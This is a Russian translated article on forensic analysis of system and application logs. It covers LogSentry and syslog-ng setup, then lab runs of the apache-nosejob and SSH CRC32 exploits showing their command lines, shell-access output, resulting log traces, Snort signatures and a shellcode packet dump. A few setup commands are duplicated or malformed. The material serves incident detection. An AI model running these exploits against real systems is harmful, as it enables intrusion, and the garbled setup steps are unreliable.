Определение эксплоитов в системных и прикладных журналах регистрации

Определение эксплоитов в системных и прикладных журналах регистрации

Специалисты, исследующие и анализирующие инциденты, используют множество различных автоматических инструментов, с помощью которых можно детально проанализировать вторжение. Основным источником информации при расследовании инцидентов являются журналы регистрации. Аналитик обязан понимать и распознавать следы, которые оставляет после себя эксплоит в журналах регистрации. Идентификация этих сигнатур и их воздействие на журналы приложений позволяет определить, что происходило во время инцидента.

По материалам Securityfocus

Специалисты, исследующие и анализирующие инциденты, используют множество различных автоматических инструментов, с помощью которых можно детально проанализировать вторжение. Основным источником информации при расследовании инцидентов являются журналы регистрации. Аналитик обязан понимать и распознавать следы, которые оставляет после себя эксплоит в журналах регистрации.  Идентификация этих сигнатур и их воздействие на журналы приложений позволяет определить, что происходило во время инцидента.

              В этой статье мы рассмотрим способы идентификации отпечатков, которые оставляют эксплоиты в системных журналах регистрации. Затем, используя эти данные, определим воздействие эксплоитов на систему.  Мы надеемся, что эта статья поможет создать методологию, которой должен придерживаться исследователь при разборе инцидента, анализируя журналы регистрации системы и приложений, как доказательный ресурс вместо  систем обнаружения вторжения.

Уведомляющие сообщения

В этом разделе мы рассмотрим некоторые инструменты, которые используются для предупреждения конечного пользователя. Такие утилиты обычно работают совместно с Syslog-ng (Syslog Next Generation) и могут посылать предупреждения через электронную почту или другие средства связи.  Используя эти инструменты, пользователи смогут распознать сигнатуры эксплоитов Web-приложений, типа Apache и IIS, и могут помочь в разработке отпечатка, который будет использоваться для понимания инцидента. Некоторые из исследуемых отпечатков будут включать эксплоиты “Apache Chunked Encoding” и переполнение буфера в PHP. Также мы обсудим установку и настройку программ, используемых для анализа журналов регистрации. Эти средства помогут проще администрировать системные журналы регистрации и уведомлять администратора о критических событиях.

LogSentry

LogSentry  (ранее известный как Logcheck), используется для автоматического контроля системных файлов регистрации, посылая предупреждения по электронной почте, если произошло вторжение. Инструмент основан на программе, поставляемой с TIS Gauntlet firewall, и имеет множество улучшений, позволяющих ему проще интегрироваться на системе пользователя. LogSentry поддерживает несколько вариантов уведомлений, которые определяются системным администратором. Самый распространенный метод уведомления – почтовое сообщение: LogSentry взаимодействует с Sendmail, уведомляя список получателей при регистрации критического события.

Установка  LogSentry

Перед тем, как обсуждать работу программы, кратко рассмотрим процедуру инсталляции и конфигурирования LogSentry для работы с Syslog-ng. Загружаем logsentry, используя программу wget (ftp://ftp.dl.ac.uk/acc14/ftp-mirror/wget/pub/unix/itul/wget/):

    $ wget http://www.securitylab.ru/tools/logsentry-1.1.1.tar.gz 
     Resolving www.securitylab.ru... done.
     Connecting to www.securitylab.ru[213.189.207.86]:80... connected.
     HTTP request sent, awaiting response... 200 OK
     Length: 30,267 [application/x-tar]
     100%[====================================>] 30,267 3.11K/s ETA 00:00

 

    $ cd /usr/ports/ftp/wget && make install

Обратите внимание, что в каталоге logcheck-1.1.1 находятся несколько файлов, назначение которых подробно описано в файле инсталляции. Теперь мы обсудим конфигурирование программы для целей, озвученных в названии статьи. Мы рассмотрим несколько основных параметров установки и немного отредактируем файл конфигурации  Syslog-ng, чтобы добавить расширенные возможности регистрации.

Конфигурирование Syslog-ng: Шаг первый

Пользователям рекомендуется конфигурировать Syslog-ng таким образом, чтобы все предупреждающие сообщение посылались в один файл, для последующего анализа LogSentry. Такая конфигурация позволяет гарантированно обрабатывать все регистрационные сообщения. Для этого нам потребуется отредактировать файл /usr/local/etc/syslog-ng/syslog-ng.conf. Это файл содержит параметры конфигурации Syslog-ng. Более подробную информацию об этих параметрах можно прочитать в руководстве Syslog-ng.

Создайте файл конфигурации Syslog-ng после загрузки и установки Syslog-ng:

      ################################
# Create your source           #
# log device file. This will   #
# be different for each        #
# OS type                      #
################################


source fw {              
               unix-dgram("/dev/log");              
               internal();
};


#################################
# Assign the destination        #
# (TCP or local file)           #
#################################


destination localhost {
              file("/var/log/syslog-ng.all");
};


################################
# Tie your SOURCE and DST      #
################################


log {
            source(fw); destination(localhost);


};

Мы регистрируем все данные в файле "syslog-ng.all", расположенном в /var/log. По желанию, вы можете указать другое местоположение, редактируя строку /var/log/syslog-ng.all, в которой определяется файл регистрации для Syslog-ng.  После изменения конфигурации, перезапустите Syslog-ng, посылая HUP к программе.

 

killall "HUP syslog-ng

После перезапуска Syslog-ng сервера, перейдите в регистрационный каталог и измените владельца файла регистрации на root и установите 600 режим на разрешениях файла. Сначала проверьте, существует ли файл; если его нет, создайте его.

      sciaphobia# cd /var/log
      sciaphobia# touch syslog-ng.all
      sciaphobia# chown root.wheel syslog-ng.all
      sciaphobia# chmod 600 syslog-ng.all

Рекомендуется изменять владельца на root и 600 режим на любых подобных журналах. Журналы содержат очень чувствительную информацию и без надлежащих разрешений они могут раскрыть системные ошибки, пароли и уязвимости непривилегированным пользователям.

Совет: BSD пользователи могут отредактировать сценарии /etc/daily, /etc/weekly, и /etc/monthly, расположенные в каталоге /etc/directory, и использовать функцию "rotate()", чтобы изменить разрешения журналов, если они были автоматически сброшены cron. Просто измените строку:

cp /dev/null "$file"; chmod 644 "$file"

на:

cp /dev/null "$file"; chmod 600 "$file". 

Конфигурирование Syslog-ng: Шаг второй

В этом разделе мы обсудим конфигурирование logtail и logcheck файлов, которые включены в пакет LogSentry. Перед тем, как двигаться далее,  необходимо отредактировать файл logcheck.sh, который, по умолчанию, расположен в /usr/local/etc каталоге. Откройте его в вашем любимом текстовом редакторе, и найдите строку “Configuration Section".

Вы можете изменить переменную "Sysadmin" на имя по вашему выбору, которое может быть локальным пользователем системы или адресом электронной почты, при использовании удаленной регистрации. Далее, прокручивайте в низ в файле logcheck.sh, пока не обнаружите строку "Log File Configuration Section". Так как мы формируем LogSentry для работы с Syslog-ng, мы должны добавить следующую строку:

$ LOGTAIL /var/log/syslog-ng.all $TMPDIR/check.$$

Далее мы откомпилируем LogSentry для нашей операционной системы:

      sciaphobia# cd /var/log
      sciaphobia# touch syslog-ng.all
      sciaphobia# chown root.wheel syslog-ng.all
      sciaphobia# chmod 600 syslog-ng.all

После установки LogSentry, отредактируйте crontab, чтобы выполнять программу, например каждые 15 минут:

# Hourly crontab check:
00 * * * * root /bin/sh /usr/local/etc/logcheck.sh

# 15 minute crontab check:
00,15,30,45 * * * * /usr/local/etc/logcheck.sh

Обратите внимание: Если вы изменили заданное по умолчанию местоположение logcheck файлов во время конфигурирования, вы очевидно должны отредактировать вышеупомянутые строки на ваше местоположение для crontab.

 

После изменения crontab, пошлите ему HUP, чтобы перезапустить crond, тем самым, перезагружая его конфигурацию.

Чтобы проверить наши настройки, выполните сценарий logcheck.sh вручную и вызовите несколько предупреждений. Удостоверьтесь, что вся информация собирается в файле регистрации (/var/log/syslog-ng.all). Если вы получаете повторные сообщения при выполнении logcheck.sh сценария, что-то не в порядке  с logtail.  Не забудьте проверить разрешения logcheck файлов.

 
      Default permissions:
      logcheck* -- 600 -- Read/Write for root ONLY.
      Owner root. Group Wheel.
      logtail* -- 700 -- Read/Write/Execute for root ONLY. Owner root. Group 
      Wheel.

Разбор конкретного случая, часть первая

Это нападение эксплуатирует "chunking" уязвимость в версиях Apache, которые не в состоянии должным образом вычислять требуемый размер буфера при обработке запросов, кодированных с "Chunked Encoding" механизмом. Gobbles Research выпустил два эксплоита для этой уязвимости (apache-scalp.c и apache-nosejob.c). В нашем упражнении, мы будем эксплуатировать OpenBSD box с запущенной уязвимой версией Apache Web сервера. Единственным отличием  этих двух эксплоитов, является то, что  Apache-scalp работает только против операционной системы OpenBSD (3.0, 3.1), а Apache-nosejob против FreeBSD, OpenBSD, и NetBSD.

В нашем упражнении мы будем использовать Apache-nosejob эксплоит, чтобы напасть на OpenBSD 3.1 системы, выполняющие уязвимый Apache Web сервер 1.3.24. Сначала, давайте рассмотрим непосредственно эксплоит.

     [loki@pa-iris GOBBLES]$ ./apache-nosejob -h 192.168.0.1:80 -o o

[*] Resolving target host.. 192.168.0.1
[*] Connecting.. connected!
[*] Exploit output is 32322 bytes
[*] Currently using retaddr 0x80000
[*] Currently using retaddr 0x88c00
[*] Currently using retaddr 0x91800
;ppppPPPpPPPPp it's a TURKEY: type=OpenBSD, 
delta=-146, retaddr=0x93200, repretaddr=6, repzero=36

Experts say this isn't exploitable, so nothing will happen now: *GOBBLE*
[loki@pa-iris GOBBLES]$ ./apache-nosejob -h 192.168.0.1:80 -o o -c 0wn3d!
[*] Resolving target host.. 192.168.0.1
[*] Connecting.. connected!
[*] Exploit output is 32322 bytes
[*] Currently using retaddr 0x80000
[*] Currently using retaddr 0x88c00
[*] Currently using retaddr 0x91800
;ppPPPPPPpPPPPpPPpppPppppPPpppppPPppPPpppPPPpppppPpppp it's a TURKEY:
type=OpenBSD, delta=-146, retaddr=0x98200, repretaddr=6, repzero=36
Experts say this isn't exploitable, so nothing will happen now: *GOBBLE*
id
uid=32767(nobody) gid=4294967295
ls -al
total 9098
drwxr-xr-x 18 root wheel 512 Aug 8 09:53 .
drwxr-xr-x 18 root wheel 512 Aug 8 09:53 ..
-rw-r--r-- 1 root wheel 810 Apr 28 05:41 .cshrc
-rw-r--r-- 2 root wheel 148 Oct 18 2001 .profile
drwxr-xr-x 2 root wheel 512 Apr 13 17:04 altroot

 Давайте пойдем дальше и проверим журналы регистрации Apache. (Некоторые администраторы даже не знают, где хранится файл регистрации Apache. Это критично, так как Apache любые действия сохраняет в этих файлах. Они должны быть расположены в $prefix/logs/. Файл, который мы рассмотрим  -/path/to/apache/logs/error_log).

Сразу  же возникает вопрос, оставляет ли вообще этот эксплоит отпечатки в файлах регистрации Apache?  Конечно, вы не найдете строку “Против вас был использован эксплоит Apache Scalp”. Скорее мы должны исследовать сообщения об ошибках, которые сгенерировал этот эксплоит.  Мы приводим только часть журнала регистрации, так как эти данные повторяются на нескольких страницах:

 
      pa-obsd01# cat error_log

[Sat Aug 31 02:38:15 2002] [notice] Apache/1.3.24 (Unix) configured 
--resuming normal operations
[Sat Aug 31 02:38:15 2002] [notice] Accept mutex: flock (Default: flock)
[Sat Aug 31 02:38:25 2002] [notice] child pid 18709 exit signal Segmentation fault (11)
[Sat Aug 31 02:38:25 2002] [notice] child pid 2755 exit signal Segmentation fault (11)
[Sat Aug 31 02:38:25 2002] [notice] child pid 28354 exit signal Segmentation fault (11)
[Sat Aug 31 02:38:25 2002] [notice] child pid 27110 exit signal Segmentation fault (11)
[Sat Aug 31 02:38:25 2002] [notice] child pid 28888 exit signal Segmentation fault (11)
[Sat Aug 31 02:38:25 2002] [notice] child pid 32142 exit signal Segmentation fault (11)
[Sat Aug 31 02:38:27 2002] [notice] child pid 6740 exit signal Segmentation fault (11)
[Sat Aug 31 02:38:27 2002] [notice] child pid 21507 exit signal Segmentation fault (11)
[Sat Aug 31 02:38:28 2002] [notice] child pid 4969 exit signal Segmentation fault (11)
[Sat Aug 31 02:38:28 2002] [notice] child pid 27417 exit signal Segmentation fault (11)
[Sat Aug 31 02:38:28 2002] [notice] child pid 14010 exit signal Segmentation fault (11)
[Sat Aug 31 02:38:28 2002] [notice] child pid 12271 exit signal Segmentation fault (11)
[Sat Aug 31 02:38:29 2002] [notice] child pid 16779 exit signal Segmentation fault (11)
[Sat Aug 31 02:38:29 2002] [notice] child pid 23834 exit signal Segmentation fault (11)
[Sat Aug 31 02:38:29 2002] [notice] child pid 17386 exit signal Segmentation fault (11)
[Sat Aug 31 02:38:29 2002] [notice] child pid 12003 exit signal Segmentation fault (11)
[Sat Aug 31 02:38:29 2002] [notice] child pid 30402 exit signal Segmentation fault (11)
[Sat Aug 31 02:38:29 2002] [notice] child pid 12953 exit signal Segmentation fault (11)
[Sat Aug 31 02:38:29 2002] [notice] child pid 30256 exit signal Segmentation fault (11)
[Sat Aug 31 02:38:29 2002] [notice] child pid 2097 exit signal Segmentation fault (11)
[Sat Aug 31 02:38:30 2002] [notice] child pid 32632 exit signal Segmentation fault (11)
[Sat Aug 31 02:38:30 2002] [notice] child pid 19012 exit signal Segmentation fault (11)
[Sat Aug 31 02:38:30 2002] [notice] child pid 7927 exit signal Segmentation fault (11)
[Sat Aug 31 02:38:30 2002] [notice] child pid 11282 exit signal Segmentation fault (11)
[Sat Aug 31 02:38:30 2002] [notice] child pid 26411 exit signal Segmentation fault (11)
[Sat Aug 31 02:38:30 2002] [notice] child pid 14635 exit signal Segmentation fault (11)
[Sat Aug 31 02:38:30 2002] [notice] child pid 23530 exit signal Segmentation fault (11)
[Sat Aug 31 02:38:30 2002] [notice] child pid 2026 exit signal Segmentation fault (11)

Внимательно его рассмотрим. Дочерние процессы для Apache сохранили "Segfaulting" в результате действия эксплоита. Мы фактически вошли через 80 порт, выполняя команды как процесс Apache. См. ниже:

SuPassword:changemeyou are not in group wheelSorry

 

Aug 31 02:47:16 fw@pa-obsd01 su: BAD SU nobody to root

Анализ системных журналов регистрации (SSHD)

Некоторое время назад уязвимость была обнаружена в CRC32 Compensation Attack Detector в OpenSSH и SSH. Несколько эксплоитов, эксплуатирующих эту уязвимость, опубликовали Teso. В этом разделе мы рассмотрим несколько отпечатков, которые x3.bin эксплоит  оставляет в системных журналах.

                В качестве жертвы использовалась система, на которой выполнялась уязвимая версия SSH-1.2.27.

      [loki@pa-iris sshd-x3-xpl]$ ./x3 -t1 192.168.0.2
SSHD deattack exploit. By Dvorak with Code from teso (http://www.team-teso.net)

Target: Small - SSH-1.5-1.2.27

Attacking: 192.168.0.2
Testing if remote sshd is vulnerable # ATTACH NOW
YES #
Finding h - buf distance (estimate)
(1 ) testing 0x00000004 # SEGV #
(2 ) testing 0x0000c804 # FOUND #
Found buffer, determining exact diff
Finding h - buf distance using the teso method
(3 ) binary-search: h: 0x083fb7fc, slider: 0x00008000 # SEGV #
(4 ) binary-search: h: 0x083f77fc, slider: 0x00004000 # SURVIVED #
(5 ) binary-search: h: 0x083f97fc, slider: 0x00002000 # SURVIVED #
(6 ) binary-search: h: 0x083fa7fc, slider: 0x00001000 # SEGV #
(7 ) binary-search: h: 0x083f9ffc, slider: 0x00000800 # SEGV #
(8 ) binary-search: h: 0x083f9bfc, slider: 0x00000400 # SEGV #
(9 ) binary-search: h: 0x083f99fc, slider: 0x00000200 # SEGV #
(10) binary-search: h: 0x083f98fc, slider: 0x00000100 # SURVIVED #
(11) binary-search: h: 0x083f997c, slider: 0x00000080 # SEGV #
(12) binary-search: h: 0x083f993c, slider: 0x00000040 # SURVIVED #
(13) binary-search: h: 0x083f995c, slider: 0x00000020 # SEGV #
(14) binary-search: h: 0x083f994c, slider: 0x00000010 # SURVIVED #
(15) binary-search: h: 0x083f9954, slider: 0x00000008 # SEGV #
Bin search done, testing result
Finding exact h - buf distance
(16) trying: 0x083f994c # SURVIVED #
Exact match found at: 0x000066b4
Looking for exact buffer address
Finding exact buffer address (17) Trying: 0x080766b4 # SEGV #
(18) Trying: 0x080776b4 # SEGV #
(19) Trying: 0x080786b4 # SEGV #
(20) Trying: 0x080796b4 # SEGV #
(21) Trying: 0x0807a6b4 # SEGV #
(22) Trying: 0x0807b6b4 # SEGV #
(23) Trying: 0x0807c6b4 # SEGV #
(24) Trying: 0x0807d6b4 # SEGV #
(25) Trying: 0x0807e6b4 # SEGV #
(26) Trying: 0x0807f6b4 # SEGV #
(27) Trying: 0x080806b4 # SEGV #
(28) Trying: 0x080816b4 # SEGV #
(29) Trying: 0x080826b4 # SEGV #
(30) Trying: 0x080836b4 # SEGV #
(31) Trying: 0x080846b4 # SEGV #
(32) Trying: 0x080856b4 # SEGV #
(33) Trying: 0x080866b4 # SURVIVED #
Finding distance till stack buffer
(34) Trying: 0xb7f81400 # SEGV #
(35) Trying: 0xb7f81054 # SEGV #
(36) Trying: 0xb7f80ca8 # SEGV #
(37) Trying: 0xb7f808fc # SEGV #
(38) Trying: 0xb7f80550 # SEGV #
(39) Trying: 0xb7f801a4 # SEGV #
(40) Trying: 0xb7f7fdf8 # SEGV #
(41) Trying: 0xb7f7fa4c # SEGV #
(42) Trying: 0xb7f7f6a0 # SEGV #
(43) Trying: 0xb7f7f2f4 # SEGV #
(44) Trying: 0xb7f7ef48 # SEGV #
(45) Trying: 0xb7f7eb9c # SEGV #
(46) Trying: 0xb7f7e7f0 # SEGV #
(47) Trying: 0xb7f7e444 # SEGV #
(48) Trying: 0xb7f7e098 # SEGV #
(49) Trying: 0xb7f7dcec # SEGV #
(50) Trying: 0xb7f7d940 # SEGV #
(51) Trying: 0xb7f7d594 # SEGV #
(52) Trying: 0xb7f7d1e8 # SEGV #
(53) Trying: 0xb7f7ce3c # SEGV #
(54) Trying: 0xb7f7ca90 # SEGV #
(55) Trying: 0xb7f7c6e4 # SURVIVED # verifying
(56) Trying: 0xb7f7c6e4 # SEGV # OK
Finding exact h - stack_buf distance
(57) trying: 0xb7f7c4e4 slider: 0x0200# SURVIVED #
(58) trying: 0xb7f7c3e4 slider: 0x0100# SEGV #
(59) trying: 0xb7f7c464 slider: 0x0080# SURVIVED #
(60) trying: 0xb7f7c424 slider: 0x0040# SURVIVED #
(61) trying: 0xb7f7c404 slider: 0x0020# SURVIVED #
(62) trying: 0xb7f7c3f4 slider: 0x0010# SEGV #
(63) trying: 0xb7f7c3fc slider: 0x0008# SEGV #
(64) trying: 0xb7f7c400 slider: 0x0004# SEGV #
(65) trying: 0xb7f7c402 slider: 0x0002# SEGV #
Final stack_dist: 0xb7f7c404
EX: buf: 0x080836b4 h: 0x0807d000 ret-dist: 0xb7f7c38a
ATTACH NOW
Changing MSW of return address to: 0x0808
Crash, finding next return address
Changing MSW of return address to: 0x0809
Crash, finding next return address
EX: buf: 0x080836b4 h: 0x0807d000 ret-dist: 0xb7f7c386
ATTACH NOW
Changing MSW of return address to: 0x0808
Crash, finding next return address
Changing MSW of return address to: 0x0809
Crash, finding next return address
EX: buf: 0x080836b4 h: 0x0807d000 ret-dist: 0xb7f7c38e
ATTACH NOW
Changing MSW of return address to: 0x0808
Crash, finding next return address
Changing MSW of return address to: 0x0809
No Crash, might have worked
Reply from remote: CHRIS CHRIS

***** YOU ARE IN *****

192.168.0.2
Linux fatelabs.net 2.4.9-34 #1 Sat Jun 1 06:23:33 EDT 2002 i586 unknown
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
ls
bin
boot
dev
etc
home
initrd
lib
lost+found
misc
mnt
opt
proc
root
sbin
tmp
usr
var
ls -al
total 160
drwxr-xr-x 19 root root 4096 Aug 24 21:04 .
drwxr-xr-x 19 root root 4096 Aug 24 21:04 ..
drwxr-xr-x 2 root root 4096 Aug 24 21:26 bin
drwxr-xr-x 2 root root 4096 Aug 24 22:18 boot

Это было нападение, запущенное против уязвимой системы. Теперь мы рассмотрим, что было обнаружено в нашем Syslog-ng файле регистрации. Советуем прочитать статью Дэвида Диттрича, которую он написал после того, как была скомпрометирована машина в сети Вашингтонского университета. Консультации CERT об этой уязвимости можно прочитать в http://www.kb.cert.org/vuls/id/945216.

  

    Aug 28 16:59:20 research@fatelabs.net sshd[29178]: log: Connection from
192.168.0.1port 56215
Aug 28 16:59:28 research@fatelabs.net sshd[29179]: log: Connection from
192.168.0.1port 59150
Aug 28 16:59:35 research@fatelabs.net sshd[29180]: log: Connection from
192.168.0.1port 51777
Aug 28 16:59:42 research@fatelabs.net sshd[29180]: fatal: Local: Corrupted
check bytes on input.
Aug 28 16:59:42 research@fatelabs.net sshd[29181]: log: Connection from
192.168.0.1port 53554
Aug 28 16:59:49 research@fatelabs.net sshd[29182]: log: Connection from
192.168.0.1port 63955
Aug 28 16:59:55 research@fatelabs.net sshd[29182]: fatal: Local: Corrupted
check bytes on input.
Aug 28 16:59:55 research@fatelabs.net sshd[29184]: log: Connection from 
192.168.0.1port 57141
Aug 28 17:00:02 research@fatelabs.net sshd[29184]: fatal: Local: Corrupted 
check bytes on input.
Aug 28 17:00:02 research@fatelabs.net sshd[29185]: log: Connection from 
192.168.0.1port 54562
Aug 28 17:00:11 research@fatelabs.net sshd[29186]: log: Connection from 
192.168.0.1port 52892
Aug 28 17:00:17 research@fatelabs.net sshd[29187]: log: Connection from 
192.168.0.1port 51656
Aug 28 17:00:24 research@fatelabs.net sshd[29188]: log: Connection from 
192.168.0.1port 56346
Aug 28 17:00:31 research@fatelabs.net sshd[29189]: log: Connection from 
192.168.0.1port 55799
Aug 28 17:00:38 research@fatelabs.net sshd[29189]: fatal: Local: Corrupted 
check bytes on input.
Aug 28 17:00:39 research@fatelabs.net sshd[29190]: log: Connection from 
192.168.0.1port 60690
Aug 28 17:00:46 research@fatelabs.net sshd[29191]: log: Connection from 
192.168.0.1port 62887
Aug 28 17:00:59 research@fatelabs.net sshd[29191]: fatal: Local: Corrupted 
check bytes on input.
Aug 28 17:01:01 research@fatelabs.net sshd[29192]: log: Connection from 
192.168.0.1port 62835
Aug 28 17:01:10 research@fatelabs.net sshd[29193]: log: Connection from 
192.168.0.1port 61933
Aug 28 17:01:17 research@fatelabs.net sshd[29193]: fatal: Local: Corrupted 
check bytes on input.
Aug 28 17:01:17 research@fatelabs.net sshd[29194]: log: Connection from 
192.168.0.1port 57821
Aug 28 17:01:28 research@fatelabs.net sshd[29195]: log: Connection from 
192.168.0.1port 64229
Aug 28 17:01:43 research@fatelabs.net sshd[29195]: fatal: Local: Corrupted 
check bytes on input.
Aug 28 17:01:43 research@fatelabs.net sshd[29196]: log: Connection from 
192.168.0.1port 56214
Aug 28 17:01:50 research@fatelabs.net sshd[29197]: log: Connection from 
192.168.0.1port 51820
Aug 28 17:01:56 research@fatelabs.net sshd[29198]: log: Connection from 
192.168.0.1port 58898
Aug 28 17:02:03 research@fatelabs.net sshd[29199]: log: Connection from 
192.168.0.1port 56122
Aug 28 17:02:10 research@fatelabs.net sshd[29200]: log: Connection from 
192.168.0.1port 60827
Aug 28 17:02:16 research@fatelabs.net sshd[29201]: log: Connection from 
192.168.0.1port 57259
Aug 28 17:02:23 research@fatelabs.net sshd[29202]: log: Connection from 
192.168.0.1port 57454
Aug 28 17:02:30 research@fatelabs.net sshd[29203]: log: Connection from 
192.168.0.1port 55942
Aug 28 17:02:36 research@fatelabs.net sshd[29204]: log: Connection from 
192.168.0.1port 59009
Aug 28 17:02:43 research@fatelabs.net sshd[29205]: log: Connection from 
192.168.0.1port 64371
Aug 28 17:02:51 research@fatelabs.net sshd[29206]: log: Connection from 
192.168.0.1port 65325
Aug 28 17:02:58 research@fatelabs.net sshd[29207]: log: Connection from 
192.168.0.1port 51174
Aug 28 17:03:05 research@fatelabs.net sshd[29208]: log: Connection from 
192.168.0.1port 50036
Aug 28 17:03:11 research@fatelabs.net sshd[29209]: log: Connection from 
192.168.0.1port 59576
Aug 28 17:03:18 research@fatelabs.net sshd[29210]: log: Connection from 
192.168.0.1port 52679
Aug 28 17:03:25 research@fatelabs.net sshd[29211]: log: Connection from 
192.168.0.1port 57647
Aug 28 17:03:31 research@fatelabs.net sshd[29212]: log: Connection from 
192.168.0.1port 62787
Aug 28 17:03:38 research@fatelabs.net sshd[29212]: fatal: Local: crc32 
compensation attack: network attack detected

На что, прежде всего, нужно обратить внимание в этих файлах регистрации? Что  должно произойти только в том случае, если нападение имело место? Первым сигналом об опасности может послужить сообщение от SSHD процесса (fatal: Local: crc32 compensation attack: network attack detected), предупреждающее, что предпринята попытка использования некоторой формы нападения CRC32.

Другим известным следом являются  “листья” эксплоита - множественные попытки подключения с одного IP адреса в пределах 6-7 сукунд. Присутствие сотен попыток подключения вероятнее всего указывает на автоматизированный сценарий, а не на действия индивидуума,  забывшего свой пароль. Еще одной зацепкой может послужить ошибка "corrupted check bytes on input" в журнале. Дело в том, что эта ошибка очень редкая, и ее может вызвать только этот эксплоит.

Следующие сигнатуры были разработаны Мартай Роешом и Брайеном Касвеллом для использования с Snort v1.8.

---- snip / from David Dittrich's research paper ---- 

The following signatures were developed by 
Marty Roesch and Brian Caswell, for use with Snort v1.8 or higher [6]. 


=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
alert tcp $EXTERNAL_NET any -> $HOME_NET 22 \
(msg:"EXPLOIT ssh CRC32 overflow /bin/sh"; \
flags:A+; content:"/bin/sh"; \
reference:bugtraq,2347; reference:cve,CVE-2001-0144; \
classtype:shellcode-detect;)

alert tcp $EXTERNAL_NET any -> $HOME_NET 22 \
(msg:"EXPLOIT ssh CRC32 overflow filler"; \
flags:A+; content:"|00 00 00 00 00 00 00 00 00 00 00 00 00|"; \
reference:bugtraq,2347; reference:cve,CVE-2001-0144; \
classtype:shellcode-detect;)

alert tcp $EXTERNAL_NET any -> $HOME_NET 22 \
(msg:"EXPLOIT ssh CRC32 overflow NOOP"; \
flags:A+; content:"|90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90|"; \
reference:bugtraq,2347; reference:cve,CVE-2001-0144; \
classtype:shellcode-detect;)

alert tcp $EXTERNAL_NET any -> $HOME_NET 22 \
(msg:"EXPLOIT ssh CRC32 overflow"; \
flags:A+; content:"|00 01 57 00 00 00 18|"; offset:0; depth:7; \
content:"|FF FF FF FF 00 00|"; offset:8; depth:14; \
reference:bugtraq,2347; reference:cve,CVE-2001-0144; \
classtype:shellcode-detect;)
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Это Snort packetdump последнего пакета от нападения. Дамп пакета от нападения может использоваться для того, чтобы создать дополнительные IDS сигнатуры и может быть загружен со страницы Log Forensics Team сайта Fate Labs.

  

    =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

[**] Fate Labs Research - SSH TESTS [**]
08/28-17:13:14.731740 0:0:77:95:5C:B2 -> 0:48:54:6D:FB:CC type:0x800
len:0x456
64.129.236.193:55450 -> 24.42.198.82:22 TCP TTL:48 TOS:0x0 ID:38244 IpLen:20
DgmLen:1096 DF
***AP*** Seq: 0x7F494DD0 Ack: 0xF4E81DC0 Win: 0x1920 TcpLen: 32
TCP Options (3) => NOP NOP TS: 85218943 32607779
0x0000: 00 48 54 6D FB CC 00 00 77 95 5C B2 08 00 45 00 .HTm....w.\...E.
0x0010: 04 48 95 64 40 00 30 06 A5 8C 40 81 EC C1 18 2A .H.d@.0...@....*
0x0020: C6 52 D8 9A 00 16 7F 49 4D D0 F4 E8 1D C0 80 18 .R.....IM.......
0x0030: 19 20 7C 01 00 00 01 01 08 0A 05 14 56 7F 01 F1 . |.........V...
0x0040: 8E 23 90 90 90 90 90 90 90 90 90 90 90 90 90 90 .#..............
0x0050: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0x0060: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0x0070: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0x0080: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0x0090: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0x00A0: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0x00B0: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0x00C0: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0x00D0: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0x00E0: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0x00F0: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0x02A0: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0x02B0: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0x02C0: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0x02D0: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0x02E0: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0x02F0: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0x0300: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0x0310: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0x0320: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0x0330: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0x0340: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0x0350: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0x0360: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0x0370: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0x0380: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0x0390: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0x03A0: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0x03B0: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0x03C0: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0x03D0: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 31 DB ..............1.
0x03E0: B3 07 89 E2 6A 10 89 E1 51 52 68 FE 00 00 00 89 ....j...QRh.....
0x03F0: E1 31 C0 B0 66 CD 80 A8 FF 74 0B 5A F6 C2 FF 74 .1..f....t.Z...t
0x0400: 4E FE CA 52 EB EB 5B 31 C9 B1 03 FE C9 31 C0 B0 N..R..[1.....1..
0x0410: 3F CD 80 67 E3 02 EB F3 6A 04 6A 00 6A 12 6A 01 ?..g....j.j.j.j.
0x0420: 53 B8 66 00 00 00 BB 0E 00 00 00 89 E1 CD 80 6A S.f............j
